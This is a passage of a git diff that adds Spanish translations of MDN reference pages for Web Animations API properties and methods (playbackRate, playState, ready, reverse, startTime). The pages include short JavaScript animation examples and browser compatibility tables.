+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}} para otros métodos y propiedades que puedes usar para el control de animaciones en páginas web.</li>
+ <li>{{domxref("Animation.pause()")}} para pausar una animación.</li>
+ <li>{{domxref("Animation.reverse()")}} para reproducir una animación al revés.</li>
+ <li>{{domxref("Animation.finish()")}} para finalizar una animación.</li>
+ <li>{{domxref("Animation.cancel()")}} para cancelar una animación.</li>
+</ul>
diff --git a/files/es/web/api/animation/playbackrate/index.html b/files/es/web/api/animation/playbackrate/index.html
new file mode 100644
index 0000000000..0961c0bd6c
--- /dev/null
+++ b/files/es/web/api/animation/playbackrate/index.html
@@ -0,0 +1,162 @@
+---
+title: Animation.playbackRate
+slug: Web/API/Animation/playbackRate
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Interface
+  - Reference
+  - playbackRate
+translation_of: Web/API/Animation/playbackRate
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <code><strong>Animation</strong></code><strong><code>.playbackRate</code></strong> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve o  establece la velocidad de reproducción de la animación.</p>
+
+<p>Las animaciones tienen un <strong>playback rate</strong> que proporciona un factor de escala para el cambio de velocidad de la animación {{domxref("DocumentTimeline", "timeline")}} valores del estado actual de la linea de tiempo de la animación. La velocidad de reproducción inicial es <code>1</code>.</p>
+
+<h2 id="Sintaxis" style="line-height: 30px; font-size: 2.14285714285714rem;">Sintaxis</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">var <em>currentPlaybackRate</em> = <em>Animation</em>.playbackRate;
+
+<em>Animation</em>.playbackRate = <em>newRate</em>;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p><span id="result_box" lang="es"><span>Toma un número que puede ser 0, negativo o positivo.</span> <span>Los valores negativos invierten la animación.</span> <span>El valor es un factor de escala, por lo que, por ejemplo, un valor de 2 duplicaría la velocidad de reproducción.</span></span></p>
+
+<div class="note">
+<p>si establecemos el <code>playbackRate</code> a <code>0</code> pausa la animación de manera efectiva (sin embargo, su {{domxref("Animation.playstate", "playstate")}} no se convierte necesariamente en  <code>paused</code>).</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a> , hacer click o tocar la botella, hace que la animación de crecimiento de Alicia  (<code>aliceChange</code>) se invierta para reducirse:</p>
+
+<pre class="brush: js">var shrinkAlice = function() {
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+}
+
+// Con un toque o un click, Alicia se encogerá.
+bottle.addEventListener("mousedown", shrinkAlice, false);
+bottle.addEventListener("touchstart", shrinkAlice, false);
+</pre>
+
+<p>Por el contrario, hacer click en el pastel hace que "crezca" reproduciendo <code>aliceChange</code> hacia adelante otra vez:</p>
+
+<pre class="brush: js">var growAlice = function() {
+  aliceChange.playbackRate = 1;
+  aliceChange.play();
+}
+
+// Con un toque o un click, Alicia crecerá.
+cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);
+</pre>
+
+<p>En otro ejemplo,  <a href="http://codepen.io/rachelnabors/pen/PNGGaV?editors=0010">Red Queen's Race Game</a>, Alicia y La Reina Roja están ralentizandose constantemente:</p>
+
+<pre class="brush: js">setInterval( function() {
+
+  // <span id="result_box" lang="es"><span>Asegúrate de que la velocidad de reproducción nunca descienda por debajo de .4</span></span>
+
+  if (redQueen_alice.playbackRate &gt; .4) {
+    redQueen_alice.playbackRate *= .9;
+  }
+
+}, 3000);
+</pre>
+
+<p><span id="result_box" lang="es"><span>Pero hacer click o hacer tapping(pasar el puntero) sobre ellos hace que aceleren multiplicando su</span></span> <code>playbackRate</code>(velocidad de reproducción):</p>
+
+<pre class="brush: js">var goFaster = function() {
+  redQueen_alice.playbackRate *= 1.1;
+}
+
+document.addEventListener("click", goFaster);
+document.addEventListener("touchstart", goFaster);
+</pre>
+
+<h2 id="Especificaciones"><span class="highlight-span">Especificaciones</span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-playbackrate', 'Animation.playbackRate')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="highlight-span">Compatibilidad del navegador</span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/playstate/index.html b/files/es/web/api/animation/playstate/index.html
new file mode 100644
index 0000000000..35d104739b
--- /dev/null
+++ b/files/es/web/api/animation/playstate/index.html
@@ -0,0 +1,158 @@
+---
+title: Animation.playState
+slug: Web/API/Animation/playState
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - playState
+translation_of: Web/API/Animation/playState
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>La propiedad  <code><strong>Animation</strong></code><strong><code>.playState</code></strong> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve y establece un valor enumerado que describe el estado de reproducción de una animación.</p>
+
+<div class="note">
+<p>Esta propiedad es de solo lectura para las Animaciones y Transiciones en CSS.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var<em> currentPlayState</em> = <em>Animation</em>.playState;
+
+<em>Animation</em>.playState = <em>newState</em>;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<dl>
+ <dt><code>idle(inactivo)</code></dt>
+ <dd><span id="result_box" lang="es"><span>El tiempo actual de la animación no está resuelto y no hay tareas pendientes.</span></span></dd>
+ <dt><code>pending(pendiente)</code></dt>
+ <dd><span id="result_box" lang="es"><span>La animación está esperando que se complete una tarea pendiente.</span></span></dd>
+ <dt><code>running(funcionando)</code></dt>
+ <dd><span class="short_text" id="result_box" lang="es"><span>La animación se está ejecutando.</span></span></dd>
+ <dt><code>paused(pausado)</code></dt>
+ <dd><span id="result_box" lang="es"><span>La animación se ha suspendido y la propiedad {{domxref ("Animation.currentTime")}} no se está actualizando.</span></span></dd>
+ <dt><code>finished(finalizado)</code></dt>
+ <dd><span id="result_box" lang="es"><span>La animación ha alcanzado uno de sus límites y la propiedad {{domxref ("Animation.currentTime")}} no se está actualizando.</span></span></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a> , los jugadores pueden tener un final con (Alicia llorando en un mar de lágrimas) <a href="http://codepen.io/rachelnabors/pen/EPJdJx?editors=0010">Alice crying into a pool of tears</a>. En el juego, por razones de rendimiento, las lágrimas solo se deben animar cuando son visibles. <span id="result_box" lang="es"><span>Por lo tanto, deben detenerse tan pronto como estén animadas, de esta manera:</span></span></p>
+
+<pre class="brush: js">// <span class="short_text" id="result_box" lang="es"><span>Configurando las animaciones de lágrimas</span></span>
+
+tears.forEach(function(el) {
+  el.animate(
+    tearsFalling,
+    {
+      delay: getRandomMsRange(-1000, 1000), // cada lágrima aleatoria
+      duration: getRandomMsRange(2000, 6000), // cada lágrima aleatoria
+      iterations: Infinity,
+      easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)"
+    });
+  el.playState = 'paused';
+});
+
+
+// Reproduce las lágrimas cayendo cuando el final necesita mostrarlas.
+
+tears.forEach(function(el) {
+  el.playState = 'playing';
+});
+
+
+// Reinicia la animación de las lágrimas y la detiene.
+
+tears.forEach(function(el) {
+  el.playState = "paused";
+  el.currentTime = 0;
+});
+</pre>
+
+<h2 id="Especificaciones"><span class="highlight-span">Especificaciones</span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#play-state', 'playState')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="highlight-span">Compatibilidad del navegador</span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Chrome 50, este atributo mostraba <code>idle</code> para una animación que aún no había comenzado. A partir de Chrome 50, muestra <code>paused</code>.</p>
+
+<p>[2] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}} <span id="result_box" lang="es"><span>para otros métodos y propiedades que puede usar para controlar la animación de la página web.</span></span></li>
+ <li>Los métodos  {{domxref("Animation.play()")}}, {{domxref("Animation.pause()")}}, {{domxref("Animation.finish()")}} pueden establecer el <code>playState</code> de un  <code>Animation</code> .</li>
+</ul>
diff --git a/files/es/web/api/animation/ready/index.html b/files/es/web/api/animation/ready/index.html
new file mode 100644
index 0000000000..35dfb68954
--- /dev/null
+++ b/files/es/web/api/animation/ready/index.html
@@ -0,0 +1,122 @@
+---
+title: Animation.ready
+slug: Web/API/Animation/ready
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Ready Promise
+  - Reference
+translation_of: Web/API/Animation/ready
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad de solo-lectura  <strong><code>Animation.ready</code></strong> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve un {{jsxref("Promise")}} que se resuelve cuando la animación está lista para reproducirse. Una nueva 'promesa' es creada cada vez que la animación entra en <a href="/en-US/docs/Web/API/Animation/playState">play state(estado de reproducción)</a> <code>"pending"(pendiente)</code> así como si la reproducción es cancelada, ya que en ambos escenarios, la animación estará lista para ser reiniciada.</p>
+
+<div class="note">
+<p>Dado que la misma {{jsxref("Promise")}} es usada para las solicitudes pendientes de <code>play</code> y<code>pause</code> , <span id="result_box" lang="es"><span>se recomienda a los autores que comprueben el estado de la animación cuando se resuelva la promesa</span></span>.</p>
+</div>
+
+<h2 id="Sintaxis"><span class="highlight-span">Sintaxis</span></h2>
+
+<pre class="syntaxbox">var <em>readyPromise</em> = <em>Animation</em>.ready;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{jsxref("Promise")}} que se resuelve cuando la animación esta lista para reproducirse. Por lo general, se usará una construcción similar a esta usando una promise lista:</p>
+
+<pre class="brush: js">animation.ready.then(function() {
+  // Hace lo que sea necesario cuando
+  // la animación está lista para reproducirse
+});</pre>
+
+<h2 id="Ejemplo"><span class="highlight-span">Ejemplo</span></h2>
+
+<p>En el siguiente ejemplo, el estado de la animación será <code>running(reproduciendo)</code> cuando la<strong> Promise actual</strong> se resuelva ya que la animación no deja el estado de reproducción <code>pending</code> entre las llamadas <code>pause</code> and <code>play</code> ,por lo tanto, la <strong>Promise actual</strong> no cambia.</p>
+
+<pre class="brush: js">animation.pause();
+animation.ready.then(function() {
+  // Displays 'running'
+  alert(animation.playState);
+});
+animation.play();
+</pre>
+
+<h2 id="Especificaciones"><span class="highlight-span"><span class="highlight-span">Especificaciones</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-ready', 'Animation.ready' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="highlight-span"><span class="highlight-span">Compatibilidad del navegador</span></span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="highlight-span">Ver también</span></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.playState")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/reverse/index.html b/files/es/web/api/animation/reverse/index.html
new file mode 100644
index 0000000000..9f2dbf790e
--- /dev/null
+++ b/files/es/web/api/animation/reverse/index.html
@@ -0,0 +1,136 @@
+---
+title: Animation.reverse()
+slug: Web/API/Animation/reverse
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Interface
+  - Reference
+  - metodo
+  - reverse
+  - waapi
+translation_of: Web/API/Animation/reverse
+---
+<div>{{APIRef("Web Animations")}}{{SeeCompatTable}}</div>
+
+<p>El método <strong><code>Animation.reverse()</code></strong> de la interfaz {{ domxref("Animation") }} Interface invierte la dirección de reproducción, lo que significa que la animación termina al principio. Si se llama en una animación sin reproducir, toda la animación se reproduce al revés. Si se llama en una animación pausada, continúa a la inversa.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">animation.reverse();
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>None.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>{{jsxref("undefined")}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a> , hacer click o tocar la botella, hace que la animación de crecimiento de Alicia(<code>aliceChange</code>) sea reproducida al revés, lo que la hace más pequeña. Esto se hace estableciendo el {{ domxref("Animation.playbackRate") }} de <code>aliceChange</code>  en <code>-1</code> de esta forma:</p>
+
+<pre class="brush: js">var shrinkAlice = function() {
+  // reproduce la animación de Alicia al revés.
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+
+  // reproduce la animación de la botella.
+  drinking.play()
+}</pre>
+
+<p>Pero también se podría haber hecho lamando a <code>reverse()</code> en <code>aliceChange</code> así:</p>
+
+<pre class="brush: js">var shrinkAlice = function() {
+  // reproduce la animación de Alicia al revés.
+  aliceChange.reverse();
+
+  // reproduce la animación de la botella.
+  drinking.play()
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-reverse', 'reverse()')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}} para otros métodos y propiedades que puedes usar para el control de animaciones en páginas web.</li>
+ <li>{{domxref("Animation.pause()")}} para pausar una animación.</li>
+ <li>{{domxref("Animation.play()")}} para reproducir una animación hacia adelante.</li>
+</ul>
diff --git a/files/es/web/api/animation/starttime/index.html b/files/es/web/api/animation/starttime/index.html
new file mode 100644
index 0000000000..8ad69e8ffa
--- /dev/null
+++ b/files/es/web/api/animation/starttime/index.html
@@ -0,0 +1,138 @@
+---
+title: Animation.startTime
+slug: Web/API/Animation/startTime
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Interface
+  - Reference
+  - startTime
+translation_of: Web/API/Animation/startTime
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p><span id="result_box" lang="es"><span>La propiedad <strong><code>Animation.startTime</code></strong> de la interfaz {{domxref ("Animación")}} es un valor de punto flotante de doble precisión que indica el tiempo programado en el que debe comenzar la reproducción de una animación.</span></span></p>
+
+<p>El  <strong>start time</strong> <strong>(tiempo de inicio)</strong> es el valor de tiempo de su {{domxref("timeline", "DocumentTimeline")}}cuando su objetivo {{domxref("KeyframeEffect")}} está programado para comenzar la reproducción. <span id="result_box" lang="es"><span>El </span></span><strong>start time</strong> <strong>(tiempo de inicio)</strong><span lang="es"><span> de una animación inicialmente no está resuelto (lo que significa que es <code>null</code> porque no tiene valor).</span></span></p>
+
+<h2 id="Sintaxis"><span class="highlight-span">Sintaxis</span></h2>
+
+<pre class="syntaxbox">var <em>animationStartedWhen</em> = <em>Animation</em>.startTime;
+
+<em>Animation</em>.startTime = <em>newStartTime</em>;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un número de punto flotante que representa el tiempo actual en milisegundos, o nulo si no se establece ningún valor de  tiempo. Puede leer este valor para determinar en qué momento está establecido el punto de inicio, y puede modificarlo para que la animación comience en un momento diferente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/zxYexJ?editors=0010">Running on Web Animations API example</a>, podemos sincronizar todos los nuevos gatos animados dándoles el mismo tiempo de inicio <code>startTime</code> que el gato original:</p>
+
+<pre class="brush: js">var catRunning = document.getElementById ("withWAAPI").animate(keyframes, timing);
+
+/* Una función que crea nuevos gatos. */
+function addCat(){
+  var newCat = document.createElement("div");
+  newCat.classList.add("cat");
+  return newCat;
+}
+
+/* Esta es la función que agrega un gato a la columna WAAPI */
+function animateNewCatWithWAAPI() {
+  // crea unnuevo gato
+  var newCat = addCat();
+
+  // Animar a dicho gato con la función "animate" de WAAPI
+  var newAnimationPlayer = newCat.animate(keyframes, timing);
+
+  // Establece que el punto de inicio de la animación sea el mismo que el original<code class="language-js"><span class="comment token"> .cat#withWAAPI</span></code>
+  newAnimationPlayer.startTime = catRunning.startTime;<em><strong>
+</strong></em>
+  // Agrega el gato a la pila.
+  WAAPICats.appendChild(newCat);
+}
+</pre>
+
+<h2 id="Especificaciones"><span class="highlight-span"><span class="highlight-span">Especificaciones</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-starttime', 'Animation.startTime' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="highlight-span"><span class="highlight-span">Compatibilidad del navegador</span></span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="highlight-span">Ver también</span></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.currentTime")}} para el tiempo actual de la animación.</li>
+</ul>
diff --git a/files/es/web/api/animation/terminado/index.html b/files/es/web/api/animation/terminado/index.html
new file mode 100644
index 0000000000..5d321ba012
--- /dev/null
+++ b/files/es/web/api/animation/terminado/index.html
@@ -0,0 +1,120 @@
+---
+title: Animation.finished
+slug: Web/API/Animation/terminado
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+translation_of: Web/API/Animation/finished
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad de solo-lectura de <code><strong>Animation</strong></code><strong><code>.finished</code></strong> de la  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve un {{jsxref("Promise")}} que se resuelve una vez que la animación a terminado de reproducirse.</p>
+
+<div class="note">
